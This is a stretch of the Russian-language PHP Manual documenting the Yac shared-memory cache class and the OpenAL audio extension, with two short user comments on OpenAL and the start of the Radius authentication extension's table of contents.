public set(string $keys, mixed $value, int $ttl = 0): bool
public add(array $key_vals): bool
public __set(string $keys, mixed $value): mixed
}

Свойства

_prefix

Содержание

  • Yac::add — Сохраняет в кеш
  • Yac::__construct — Конструктор класса
  • Yac::delete — Удаляет элементы из кеша
  • Yac::dump — Дамп кеша
  • Yac::flush — Очищает кеш
  • Yac::get — Извлекает значения из кеша
  • Yac::__get — Геттер
  • Yac::info — Состояние кеша
  • Yac::set — Сохраняет в кеш
  • Yac::__set — Сеттер

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет в кеш

  • « Yac
  • Yac::__construct »
  • PHP Manual
  • Yac
  • Сохраняет в кеш

Yac::add

(PECL yac >= 1.0.0)

Yac::add — Сохраняет в кеш

Описание

public Yac::add(string $keys, mixed $value, int $ttl = 0): bool
public Yac::add(array $key_vals): bool

Добавляет элемент в кеш.

Список параметров

keys

Ключ (string)

value

Смешанное значение. Могут быть сохранены все типы значений php, кроме resource

ttl

Время жизни

Возвращаемые значения

bool, true в случае успешного выполнения, false в случае возникновения ошибки

Замечание:

Yac::add() может завершиться с ошибкой, если не удалось получить блокировку cas, поэтому, если вам нужно, чтобы значение сохранялось должным образом, вы можете написать следующее:

Пример #1 Убедитесь, что элемент хранится

while(!$yac->set("key", "vale));

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса

  • « Yac::add
  • Yac::delete »
  • PHP Manual
  • Yac
  • Конструктор класса

Yac::__construct

(PECL yac >= 1.0.0)

Yac::__construct — Конструктор класса

Описание

public Yac::__construct(string $prefix = "")

Префикс используется для добавления к ключам, его можно использовать для предотвращения конфликтов между приложениями.

Список параметров

prefix

Префикс (string)

Ошибки

Выбрасывает Exception, если Yac не включён. Выбрасывает Exception, если prefix превышает максимальную длину ключа 48 (YAC_MAX_KEY_LEN) байтов.

User Contributed Notes

There are no user contributed notes for this page.


Удаляет элементы из кеша

  • « Yac::__construct
  • Yac::dump »
  • PHP Manual
  • Yac
  • Удаляет элементы из кеша

Yac::delete

(PECL yac >= 1.0.0)

Yac::delete — Удаляет элементы из кеша

Описание

public Yac::delete(string|array $keys, int $ttl = ?): bool

Удаляет элементы из кеша

Список параметров

keys

Строковый ключ или массив из нескольких ключей, которые нужно удалить

ttl

Если задана задержка, удаление отметит элементы как недопустимые в течение ttl секунд.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Дамп кеша

  • « Yac::delete
  • Yac::flush »
  • PHP Manual
  • Yac
  • Дамп кеша

Yac::dump

(PECL yac >= 1.0.0)

Yac::dump — Дамп кеша

Описание

public Yac::dump(int $$num): mixed

Дамп значений, хранящихся в кеше

Список параметров

num

Максимальное количество элементов, которые должны быть возвращены

Возвращаемые значения

Смешанное значение.

User Contributed Notes

There are no user contributed notes for this page.


Очищает кеш

  • « Yac::dump
  • Yac::get »
  • PHP Manual
  • Yac
  • Очищает кеш

Yac::flush

(PECL yac >= 1.0.0)

Yac::flush — Очищает кеш

Описание

public Yac::flush(): bool

Удаляет все кешированные значения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Логическое значение, всегда возвращает true

User Contributed Notes

There are no user contributed notes for this page.


Извлекает значения из кеша

  • « Yac::flush
  • Yac::__get »
  • PHP Manual
  • Yac
  • Извлекает значения из кеша

Yac::get

(PECL yac >= 1.0.0)

Yac::get — Извлекает значения из кеша

Описание

public Yac::get(string|array $key, int &$cas = null): mixed

Извлекает значения из кеша

Список параметров

key

Ключ (string) или массив (array), состоящий из нескольких ключей

cas

Если не null, будет установлен регистр извлечённых элементов.

Возвращаемые значения

Смешанное значение в случае успешного выполнения, false в случае возникновения ошибки

User Contributed Notes

There are no user contributed notes for this page.


Геттер

  • « Yac::get
  • Yac::info »
  • PHP Manual
  • Yac
  • Геттер

Yac::__get

(PECL yac >= 1.0.0)

Yac::__get — Геттер

Описание

public Yac::__get(string $key): mixed

Извлекает значения из кеша

Список параметров

key

Ключ (string)

Возвращаемые значения

Смешанное значение в случае успешного выполнения, null в случае возникновения ошибки

User Contributed Notes

There are no user contributed notes for this page.


Состояние кеша

  • « Yac::__get
  • Yac::set »
  • PHP Manual
  • Yac
  • Состояние кеша

Yac::info

(PECL yac >= 1.0.0)

Yac::info — Состояние кеша

Описание

public Yac::info(): array

Получает статус кеш-системы

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Вернуть массив, соответствующий: "memory_size", "slots_memory_size", "values_memory_size", "segment_size", "segment_num", "miss", "hits", "fails", "kicks", "recycles", "slots_size", "slots_used"

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет в кеш

  • « Yac::info
  • Yac::__set »
  • PHP Manual
  • Yac
  • Сохраняет в кеш

Yac::set

(PECL yac >= 1.0.0)

Yac::set — Сохраняет в кеш

Описание

public Yac::set(string $keys, mixed $value, int $ttl = 0): bool
public Yac::add(array $key_vals): bool

Добавляет элемент в кеш, если ключ уже существует, заменяет его.

Список параметров

keys

Ключ (string)

value

Смешанное значение. Могут быть сохранены все типы значений php, кроме resource

ttl

Время жизни

Возвращаемые значения

Собственное значение

User Contributed Notes

There are no user contributed notes for this page.


Сеттер

  • « Yac::set
  • Обработка аудио форматов »
  • PHP Manual
  • Yac
  • Сеттер

Yac::__set

(PECL yac >= 1.0.0)

Yac::__set — Сеттер

Описание

public Yac::__set(string $keys, mixed $value): mixed

Сохраняет элемент в кеш

Список параметров

keys

Ключ (string)

value

Смешанное значение. Могут быть сохранены все типы значений php, кроме resource

Возвращаемые значения

Всегда возвращает собственное значение

User Contributed Notes

There are no user contributed notes for this page.


Обработка аудио форматов

  • OpenAL — Аудиопотоки OpenAL
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции OpenAL

User Contributed Notes

There are no user contributed notes for this page.


Аудиопотоки OpenAL

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции OpenAL
    • openal_buffer_create — Сгенерировать буфер OpenAL
    • openal_buffer_data — Загрузка буфера с данными
    • openal_buffer_destroy — Уничтожает буфер OpenAL
    • openal_buffer_get — Получить свойство буфера OpenAL
    • openal_buffer_loadwav — Загрузить файл в формате wav в буфер
    • openal_context_create — Создать контекст обработки звука
    • openal_context_current — Сделать указанный контекст текущим
    • openal_context_destroy — Уничтожает контекст
    • openal_context_process — Обработать указанный контекст
    • openal_context_suspend — Приостановить указанный контекст
    • openal_device_close — Закрыть устройство OpenAL
    • openal_device_open — Инициализировать звуковой уровень OpenAL
    • openal_listener_get — Получить свойство прослушивателя
    • openal_listener_set — Установка свойства прослушивателя
    • openal_source_create — Сгенерировать источник ресурса
    • openal_source_destroy — Уничтожение ресурса источника
    • openal_source_get — Получить свойство источника OpenAL
    • openal_source_pause — Поставить источник на паузу
    • openal_source_play — Начать воспроизведение источника
    • openal_source_rewind — Перемотать источник в начало
    • openal_source_set — Установить свойство источника
    • openal_source_stop — Остановить воспроизведение источника
    • openal_stream — Начать потоковую передачу с источника

User Contributed Notes

There are no user contributed notes for this page.


Введение

Платформонезависимая работа с аудиопотоками. Требуется » библиотека OpenAL.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/openal.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Данный модуль не определяет никакие директивы конфигурации в php.ini.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Этот модуль определяет четыре типа ресурсов:
Open AL(Device) - возвращается openal_device_open(),
Open AL(Context) - возвращается openal_context_create(),
Open AL(Buffer) - возвращается openal_buffer_create(),
и Open AL(Source) - возвращается openal_source_create().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

ALC_FREQUENCY (int)
Атрибут контекста
ALC_REFRESH (int)
Атрибут контекста
ALC_SYNC (int)
Атрибут контекста
AL_FREQUENCY (int)
Настройка буфера
AL_BITS (int)
Настройка буфера
AL_CHANNELS (int)
Настройка буфера
AL_SIZE (int)
Настройка буфера
AL_BUFFER (int)
Настройка источника/слушателя (целое число)
AL_SOURCE_RELATIVE (int)
Настройка источника/слушателя (целое число)
AL_SOURCE_STATE (int)
Настройка источника/слушателя (целое число)
AL_PITCH (int)
Настройка источника/слушателя (рациональное число)
AL_GAIN (int)
Настройка источника/слушателя (рациональное число)
AL_MIN_GAIN (int)
Настройка источника/слушателя (рациональное число)
AL_MAX_GAIN (int)
Настройка источника/слушателя (рациональное число)
AL_MAX_DISTANCE (int)
Настройка источника/слушателя (рациональное число)
AL_ROLLOFF_FACTOR (int)
Настройка источника/слушателя (рациональное число)
AL_CONE_OUTER_GAIN (int)
Настройка источника/слушателя (рациональное число)
AL_CONE_INNER_ANGLE (int)
Настройка источника/слушателя (рациональное число)
AL_CONE_OUTER_ANGLE (int)
Настройка источника/слушателя (рациональное число)
AL_REFERENCE_DISTANCE (int)
Настройка источника/слушателя (рациональное число)
AL_POSITION (int)
Настройка источника/слушателя (рациональный вектор)
AL_VELOCITY (int)
Настройка источника/слушателя (рациональный вектор)
AL_DIRECTION (int)
Настройка источника/слушателя (рациональный вектор)
AL_ORIENTATION (int)
Настройка источника/слушателя (рациональный вектор)
AL_FORMAT_MONO8 (int)
Формат PCM
AL_FORMAT_MONO16 (int)
Формат PCM
AL_FORMAT_STEREO8 (int)
Формат PCM
AL_FORMAT_STEREO16 (int)
Формат PCM
AL_INITIAL (int)
Статус источника
AL_PLAYING (int)
Статус источника
AL_PAUSED (int)
Статус источника
AL_STOPPED (int)
Статус источника
AL_LOOPING (int)
Статус источника
AL_TRUE (int)
Логическое значение, понимаемое OpenAL
AL_FALSE (int)
Логическое значение, понимаемое OpenAL

User Contributed Notes

There are no user contributed notes for this page.


Функции OpenAL

Содержание

  • openal_buffer_create — Сгенерировать буфер OpenAL
  • openal_buffer_data — Загрузка буфера с данными
  • openal_buffer_destroy — Уничтожает буфер OpenAL
  • openal_buffer_get — Получить свойство буфера OpenAL
  • openal_buffer_loadwav — Загрузить файл в формате wav в буфер
  • openal_context_create — Создать контекст обработки звука
  • openal_context_current — Сделать указанный контекст текущим
  • openal_context_destroy — Уничтожает контекст
  • openal_context_process — Обработать указанный контекст
  • openal_context_suspend — Приостановить указанный контекст
  • openal_device_close — Закрыть устройство OpenAL
  • openal_device_open — Инициализировать звуковой уровень OpenAL
  • openal_listener_get — Получить свойство прослушивателя
  • openal_listener_set — Установка свойства прослушивателя
  • openal_source_create — Сгенерировать источник ресурса
  • openal_source_destroy — Уничтожение ресурса источника
  • openal_source_get — Получить свойство источника OpenAL
  • openal_source_pause — Поставить источник на паузу
  • openal_source_play — Начать воспроизведение источника
  • openal_source_rewind — Перемотать источник в начало
  • openal_source_set — Установить свойство источника
  • openal_source_stop — Остановить воспроизведение источника
  • openal_stream — Начать потоковую передачу с источника

User Contributed Notes

Tjeerd 02-Feb-2007 08:37
OpenAL aims to provide a standardized API for something called '3D' sound, just like OpenGL does for '3D' video rendering.

The fun part of OpenAL is that it does all the DSP for you, so you don't need to know a lot about audio. Since OpenAL comes from Creative Labs, it supports hardware rendering of audio with most if not all SoundBlaster audio controllers. They come with chips from EMU-systems and are specifically designed to mix down multichannel audio with DSP effects like reverb and chorus, which could consume a lot CPU speed.

The downside of OpenAL is that (at this time of writing) it is focus on games only. It doesn't do MIDI at all, it doesn't record anything, it doesn't work like a synthesizer. The only thing you can do with OpenAL is play sounds in a simulated 3D environment.
It probably doesn't work on the web.

To use OpenAL you need to read the documentation about OpenAL.

Note concerning audio users: there's no such thing as '3D' audio with speakers. Technically, when people have only two ears, they really can't distinguish sound from above or below, even in front or from behind. To achieve this people merely hear volume, the brightness of sound and the phase difference. One should be able to hear more '3D' sound with only two quality-class speakers than with a consumer class 5.1-set.
cweiske at cweiske dot de 06-Sep-2006 01:31
I made a PHP-Gtk2 OpenAL demo which allows you to define as many sound sources as you like and position them relative to the listener by drag and drop: http://gnope.org/p/Tools_OpenALdemo


Сгенерировать буфер OpenAL

  • « Функции OpenAL
  • openal_buffer_data »
  • PHP Manual
  • Функции OpenAL
  • Сгенерировать буфер OpenAL

openal_buffer_create

(PECL openal >= 0.1.0)

openal_buffer_create — Сгенерировать буфер OpenAL

Описание

openal_buffer_create(): resource

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ресурс Open AL(Buffer) в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_buffer_loadwav() - Загрузить файл в формате wav в буфер
  • openal_buffer_data() - Загрузка буфера с данными

User Contributed Notes

There are no user contributed notes for this page.


Загрузка буфера с данными

  • « openal_buffer_create
  • openal_buffer_destroy »
  • PHP Manual
  • Функции OpenAL
  • Загрузка буфера с данными

openal_buffer_data

(PECL openal >= 0.1.0)

openal_buffer_data — Загрузка буфера с данными

Описание

openal_buffer_data(
resource $buffer,
int $format,
string $data,
int $freq
): bool

Список параметров

buffer

Ресурс Open AL(Buffer) (созданный ранее с помощью openal_buffer_create()).

format

Формат data, представленный одной из констант: AL_FORMAT_MONO8, AL_FORMAT_MONO16, AL_FORMAT_STEREO8 и AL_FORMAT_STEREO16

data

Блок двоичных аудиоданных в указанном формате format и с частотой freq.

freq

Частота data, заданная в герцах.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_buffer_loadwav() - Загрузить файл в формате wav в буфер
  • openal_stream() - Начать потоковую передачу с источника

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает буфер OpenAL

  • « openal_buffer_data
  • openal_buffer_get »
  • PHP Manual
  • Функции OpenAL
  • Уничтожает буфер OpenAL

openal_buffer_destroy

(PECL openal >= 0.1.0)

openal_buffer_destroy — Уничтожает буфер OpenAL

Описание

openal_buffer_destroy(resource $buffer): bool

Список параметров

buffer

Ресурс Open AL(Buffer) (ранее созданный с помощью openal_buffer_create()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_buffer_create() - Сгенерировать буфер OpenAL

User Contributed Notes

There are no user contributed notes for this page.


Получить свойство буфера OpenAL

  • « openal_buffer_destroy
  • openal_buffer_loadwav »
  • PHP Manual
  • Функции OpenAL
  • Получить свойство буфера OpenAL

openal_buffer_get

(PECL openal >= 0.1.0)

openal_buffer_get — Получить свойство буфера OpenAL

Описание

openal_buffer_get(resource $buffer, int $property): int|false

Список параметров

buffer

Ресурс Open AL(Buffer) (созданный ранее с помощью openal_buffer_create()).

property

Одно из свойств, заданное в виде константы: AL_FREQUENCY, AL_BITS, AL_CHANNELS и AL_SIZE.

Возвращаемые значения

Возвращает целочисленное значение, соответствующее запрошенному свойству property или false в случае возникновения ошибки.

Смотрите также

  • openal_buffer_create() - Сгенерировать буфер OpenAL

User Contributed Notes

There are no user contributed notes for this page.


Загрузить файл в формате wav в буфер

  • « openal_buffer_get
  • openal_context_create »
  • PHP Manual
  • Функции OpenAL
  • Загрузить файл в формате wav в буфер

openal_buffer_loadwav

(PECL openal >= 0.1.0)

openal_buffer_loadwav — Загрузить файл в формате wav в буфер

Описание

openal_buffer_loadwav(resource $buffer, string $wavfile): bool

Список параметров

buffer

Ресурс Open AL(Buffer) (ранее созданный с помощью openal_buffer_create()).

wavfile

Путь к файлу .wav в файловой системе local.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_buffer_data() - Загрузка буфера с данными
  • openal_stream() - Начать потоковую передачу с источника

User Contributed Notes

There are no user contributed notes for this page.


Создать контекст обработки звука

  • « openal_buffer_loadwav
  • openal_context_current »
  • PHP Manual
  • Функции OpenAL
  • Создать контекст обработки звука

openal_context_create

(PECL openal >= 0.1.0)

openal_context_create — Создать контекст обработки звука

Описание

openal_context_create(resource $device): resource

Список параметров

device

Ресурс Open AL(Device) (созданный ранее с помощью openal_device_create()).

Возвращаемые значения

Возвращает ресурс Open AL(Context) в случае успешного выполнения, false в случае возникновения ошибки.

Смотрите также

  • openal_device_open() - Инициализировать звуковой уровень OpenAL
  • openal_context_destroy() - Уничтожает контекст

User Contributed Notes

There are no user contributed notes for this page.


Сделать указанный контекст текущим

  • « openal_context_create
  • openal_context_destroy »
  • PHP Manual
  • Функции OpenAL
  • Сделать указанный контекст текущим

openal_context_current

(PECL openal >= 0.1.0)

openal_context_current — Сделать указанный контекст текущим

Описание

openal_context_current(resource $context): bool

Список параметров

context

Ресурс Open AL(Context) (созданный ранее с помощью openal_context_create()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_context_create() - Создать контекст обработки звука

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает контекст

  • « openal_context_current
  • openal_context_process »
  • PHP Manual
  • Функции OpenAL
  • Уничтожает контекст

openal_context_destroy

(PECL openal >= 0.1.0)

openal_context_destroy — Уничтожает контекст

Описание

openal_context_destroy(resource $context): bool

Список параметров

context

Ресурс Open AL(Context) (созданный ранее с помощью openal_context_create()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_context_create() - Создать контекст обработки звука

User Contributed Notes

There are no user contributed notes for this page.


Обработать указанный контекст

  • « openal_context_destroy
  • openal_context_suspend »
  • PHP Manual
  • Функции OpenAL
  • Обработать указанный контекст

openal_context_process

(PECL openal >= 0.1.0)

openal_context_process — Обработать указанный контекст

Описание

openal_context_process(resource $context): bool

Список параметров

context

Ресурс Open AL(Context) (созданный ранее с помощью openal_context_create()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_context_create() - Создать контекст обработки звука
  • openal_context_current() - Сделать указанный контекст текущим
  • openal_context_suspend() - Приостановить указанный контекст

User Contributed Notes

There are no user contributed notes for this page.


Приостановить указанный контекст

  • « openal_context_process
  • openal_device_close »
  • PHP Manual
  • Функции OpenAL
  • Приостановить указанный контекст

openal_context_suspend

(PECL openal >= 0.1.0)

openal_context_suspend — Приостановить указанный контекст

Описание

openal_context_suspend(resource $context): bool

Список параметров

context

Ресурс Open AL(Context) (созданный ранее с помощью openal_context_create()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_context_create() - Создать контекст обработки звука
  • openal_context_current() - Сделать указанный контекст текущим
  • openal_context_process() - Обработать указанный контекст

User Contributed Notes

There are no user contributed notes for this page.


Закрыть устройство OpenAL

  • « openal_context_suspend
  • openal_device_open »
  • PHP Manual
  • Функции OpenAL
  • Закрыть устройство OpenAL

openal_device_close

(PECL openal >= 0.1.0)

openal_device_close — Закрыть устройство OpenAL

Описание

openal_device_close(resource $device): bool

Список параметров

device

Ресурс Open AL(Device) (созданный ранее с помощью openal_device_open()), который нужно закрыть.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_device_open() - Инициализировать звуковой уровень OpenAL

User Contributed Notes

There are no user contributed notes for this page.


Инициализировать звуковой уровень OpenAL

  • « openal_device_close
  • openal_listener_get »
  • PHP Manual
  • Функции OpenAL
  • Инициализировать звуковой уровень OpenAL

openal_device_open

(PECL openal >= 0.1.0)

openal_device_open — Инициализировать звуковой уровень OpenAL

Описание

openal_device_open(string $device_desc = ?): resource

Список параметров

device_desc

При необходимости открыть аудиоустройство, указав значение параметра device_desc. Если device_desc не указан, будет использовано первое аудиоустройство.

Возвращаемые значения

Возвращает ресурс Open AL(Device) в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_device_close() - Закрыть устройство OpenAL
  • openal_context_create() - Создать контекст обработки звука

User Contributed Notes

There are no user contributed notes for this page.


Получить свойство прослушивателя

  • « openal_device_open
  • openal_listener_set »
  • PHP Manual
  • Функции OpenAL
  • Получить свойство прослушивателя

openal_listener_get

(PECL openal >= 0.1.0)

openal_listener_get — Получить свойство прослушивателя

Описание

openal_listener_get(int $property): mixed

Список параметров

property

Запрашиваемое свойство, представленное одной из констант:
AL_GAIN (float),
AL_POSITION (array(float,float,float)),
AL_VELOCITY (array(float,float,float)) и
AL_ORIENTATION (array(float,float,float)).

Возвращаемые значения

Возвращает число с плавающей точкой или массив чисел с плавающими точками (при необходимости) или false в случае возникновения ошибки.

Смотрите также

  • openal_listener_set() - Установка свойства прослушивателя

User Contributed Notes

There are no user contributed notes for this page.


Установка свойства прослушивателя

  • « openal_listener_get
  • openal_source_create »
  • PHP Manual
  • Функции OpenAL
  • Установка свойства прослушивателя

openal_listener_set

(PECL openal >= 0.1.0)

openal_listener_set — Установка свойства прослушивателя

Описание

openal_listener_set(int $property, mixed $setting): bool

Список параметров

property

Устанавливаемое свойство, представленное одной из констант:
AL_GAIN (float),
AL_POSITION (array(float,float,float)),
AL_VELOCITY (array(float,float,float)) и
AL_ORIENTATION (array(float,float,float)).

setting

Значение для установки, либо число с плавающей точкой, либо массив с числами с плавающими точками.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_listener_get() - Получить свойство прослушивателя

User Contributed Notes

There are no user contributed notes for this page.


Сгенерировать источник ресурса

  • « openal_listener_set
  • openal_source_destroy »
  • PHP Manual
  • Функции OpenAL
  • Сгенерировать источник ресурса

openal_source_create

(PECL openal >= 0.1.0)

openal_source_create — Сгенерировать источник ресурса

Описание

openal_source_create(): resource

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ресурс Open AL(Source) в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_source_set() - Установить свойство источника
  • openal_source_play() - Начать воспроизведение источника
  • openal_source_destroy() - Уничтожение ресурса источника

User Contributed Notes

There are no user contributed notes for this page.


Уничтожение ресурса источника

  • « openal_source_create
  • openal_source_get »
  • PHP Manual
  • Функции OpenAL
  • Уничтожение ресурса источника

openal_source_destroy

(PECL openal >= 0.1.0)

openal_source_destroy — Уничтожение ресурса источника

Описание

openal_source_destroy(resource $source): bool

Список параметров

source

Ресурс Open AL(Source) (созданный ранее с помощью openal_source_create()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_source_create() - Сгенерировать источник ресурса

User Contributed Notes

There are no user contributed notes for this page.


Получить свойство источника OpenAL

  • « openal_source_destroy
  • openal_source_pause »
  • PHP Manual
  • Функции OpenAL
  • Получить свойство источника OpenAL

openal_source_get

(PECL openal >= 0.1.0)

openal_source_get — Получить свойство источника OpenAL

Описание

openal_source_get(resource $source, int $property): mixed

Список параметров

source

Ресурс Open AL(Source) (созданный ранее с помощью openal_source_create()).

property

Получаемое свойство, представленное одной из констант: AL_SOURCE_RELATIVE (int), AL_SOURCE_STATE (int), AL_PITCH (float), AL_GAIN (float), AL_MIN_GAIN (float), AL_MAX_GAIN (float), AL_MAX_DISTANCE (float), AL_ROLLOFF_FACTOR (float), AL_CONE_OUTER_GAIN (float), AL_CONE_INNER_ANGLE (float), AL_CONE_OUTER_ANGLE (float), AL_REFERENCE_DISTANCE (float), AL_POSITION (array(float,float,float)), AL_VELOCITY (array(float,float,float)), AL_DIRECTION (array(float,float,float)).

Возвращаемые значения

Возвращает тип, связанный с извлекаемым свойством или false в случае возникновения ошибки.

Смотрите также

  • openal_source_create() - Сгенерировать источник ресурса
  • openal_source_set() - Установить свойство источника
  • openal_source_play() - Начать воспроизведение источника

User Contributed Notes

There are no user contributed notes for this page.


Поставить источник на паузу

  • « openal_source_get
  • openal_source_play »
  • PHP Manual
  • Функции OpenAL
  • Поставить источник на паузу

openal_source_pause

(PECL openal >= 0.1.0)

openal_source_pause — Поставить источник на паузу

Описание

openal_source_pause(resource $source): bool

Список параметров

source

Ресурс Open AL(Source) (созданный ранее с помощью openal_source_create()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_source_stop() - Остановить воспроизведение источника
  • openal_source_play() - Начать воспроизведение источника
  • openal_source_rewind() - Перемотать источник в начало

User Contributed Notes

There are no user contributed notes for this page.


Начать воспроизведение источника

  • « openal_source_pause
  • openal_source_rewind »
  • PHP Manual
  • Функции OpenAL
  • Начать воспроизведение источника

openal_source_play

(PECL openal >= 0.1.0)

openal_source_play — Начать воспроизведение источника

Описание

openal_source_play(resource $source): bool

Список параметров

source

Ресурс Open AL(Source) (созданный ранее с помощью openal_source_create()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_source_stop() - Остановить воспроизведение источника
  • openal_source_pause() - Поставить источник на паузу
  • openal_source_rewind() - Перемотать источник в начало

User Contributed Notes

There are no user contributed notes for this page.


Перемотать источник в начало

  • « openal_source_play
  • openal_source_set »
  • PHP Manual
  • Функции OpenAL
  • Перемотать источник в начало

openal_source_rewind

(PECL openal >= 0.1.0)

openal_source_rewind — Перемотать источник в начало

Описание

openal_source_rewind(resource $source): bool

Список параметров

source

Ресурс Open AL(Source) (созданный ранее с помощью openal_source_create()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_source_stop() - Остановить воспроизведение источника
  • openal_source_pause() - Поставить источник на паузу
  • openal_source_play() - Начать воспроизведение источника

User Contributed Notes

There are no user contributed notes for this page.


Установить свойство источника

  • « openal_source_rewind
  • openal_source_stop »
  • PHP Manual
  • Функции OpenAL
  • Установить свойство источника

openal_source_set

(PECL openal >= 0.1.0)

openal_source_set — Установить свойство источника

Описание

openal_source_set(resource $source, int $property, mixed $setting): bool

Список параметров

source

Ресурс Open AL(Source) (созданный ранее с помощью openal_source_create()).

property

Устанавливаемое свойство, представляющее одну из констант: AL_BUFFER (OpenAL (источник)), AL_LOOPING (bool), AL_SOURCE_RELATIVE (int), AL_SOURCE_STATE (int), AL_PITCH (float), AL_GAIN (float), AL_MIN_GAIN (float), AL_MAX_GAIN (float), AL_MAX_DISTANCE (float), AL_ROLLOFF_FACTOR (float), AL_CONE_OUTER_GAIN (float), AL_CONE_INNER_ANGLE (float), AL_CONE_OUTER_ANGLE (float), AL_REFERENCE_DISTANCE (float), AL_POSITION (array(float,float,float)), AL_VELOCITY (array(float,float,float)), AL_DIRECTION (array(float,float,float)).

setting

Значение для присвоения указанному свойству property. Обратитесь к описанию параметра property для описания ожидаемых параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_source_create() - Сгенерировать источник ресурса
  • openal_source_get() - Получить свойство источника OpenAL
  • openal_source_play() - Начать воспроизведение источника

User Contributed Notes

There are no user contributed notes for this page.


Остановить воспроизведение источника

  • « openal_source_set
  • openal_stream »
  • PHP Manual
  • Функции OpenAL
  • Остановить воспроизведение источника

openal_source_stop

(PECL openal >= 0.1.0)

openal_source_stop — Остановить воспроизведение источника

Описание

openal_source_stop(resource $source): bool

Список параметров

source

Ресурс Open AL(Source) (созданный ранее с помощью openal_source_create()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_source_play() - Начать воспроизведение источника
  • openal_source_pause() - Поставить источник на паузу
  • openal_source_rewind() - Перемотать источник в начало

User Contributed Notes

There are no user contributed notes for this page.


Начать потоковую передачу с источника

  • « openal_source_stop
  • Службы аутентификации »
  • PHP Manual
  • Функции OpenAL
  • Начать потоковую передачу с источника

openal_stream

(PECL openal >= 0.1.0)

openal_stream — Начать потоковую передачу с источника

Описание

openal_stream(resource $source, int $format, int $rate): resource|false

Список параметров

source

Ресурс Open AL(Source) (созданный ранее с помощью openal_source_create()).

format

Формат данных data, представленный одной из констант: AL_FORMAT_MONO8, AL_FORMAT_MONO16, AL_FORMAT_STEREO8 и AL_FORMAT_STEREO16

rate

Частота передачи данных в поток задаётся в герцах.

Возвращаемые значения

Возвращает ресурс потока в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • openal_source_create() - Сгенерировать источник ресурса
  • fwrite() - Бинарно-безопасная запись в файл

User Contributed Notes

There are no user contributed notes for this page.


Службы аутентификации

  • Radius
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Radius

User Contributed Notes

There are no user contributed notes for this page.


Radius

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
    • Опции RADIUS
    • типы пакетов RADIUS
    • Типы атрибутов RADIUS
    • Атрибуты RADIUS специфичные для разных производителей
  • Примеры
  • Функции Radius
    • radius_acct_open — Создаёт дескриптор Radius для учёта
    • radius_add_server — Добавляет сервер
    • radius_auth_open — Создаёт дескриптор Radius для аутентификации
    • radius_close — Освобождает все ресурсы
    • radius_config — Заставляет библиотеку читать данный файл конфигурации
    • radius_create_request — Создаёт учётную запись или запрос аутентификации
    • radius_cvt_addr — Преобразует необработанные данные в IP-адрес
    • radius_cvt_int — Преобразует необработанные данные в целое число
    • radius_cvt_string — Преобразует необработанные данные в строку
    • radius_demangle_mppe_key — Получает mppe-ключи из искажённых данных
    • radius_demangle — Расшифровывает данные
    • radius_get_attr — Извлекает атрибут
    • radius_get_tagged_attr_data — Извлекает данные из помеченного атрибута
    • radius_get_tagged_attr_tag — Извлекает тег из помеченного атрибута
    • radius_get_vendor_attr — Извлекает атрибут, зависящий от поставщика
    • radius_put_addr — Присоединяет атрибут IP-адреса
    • radius_put_attr — Присоединяет бинарный атрибут
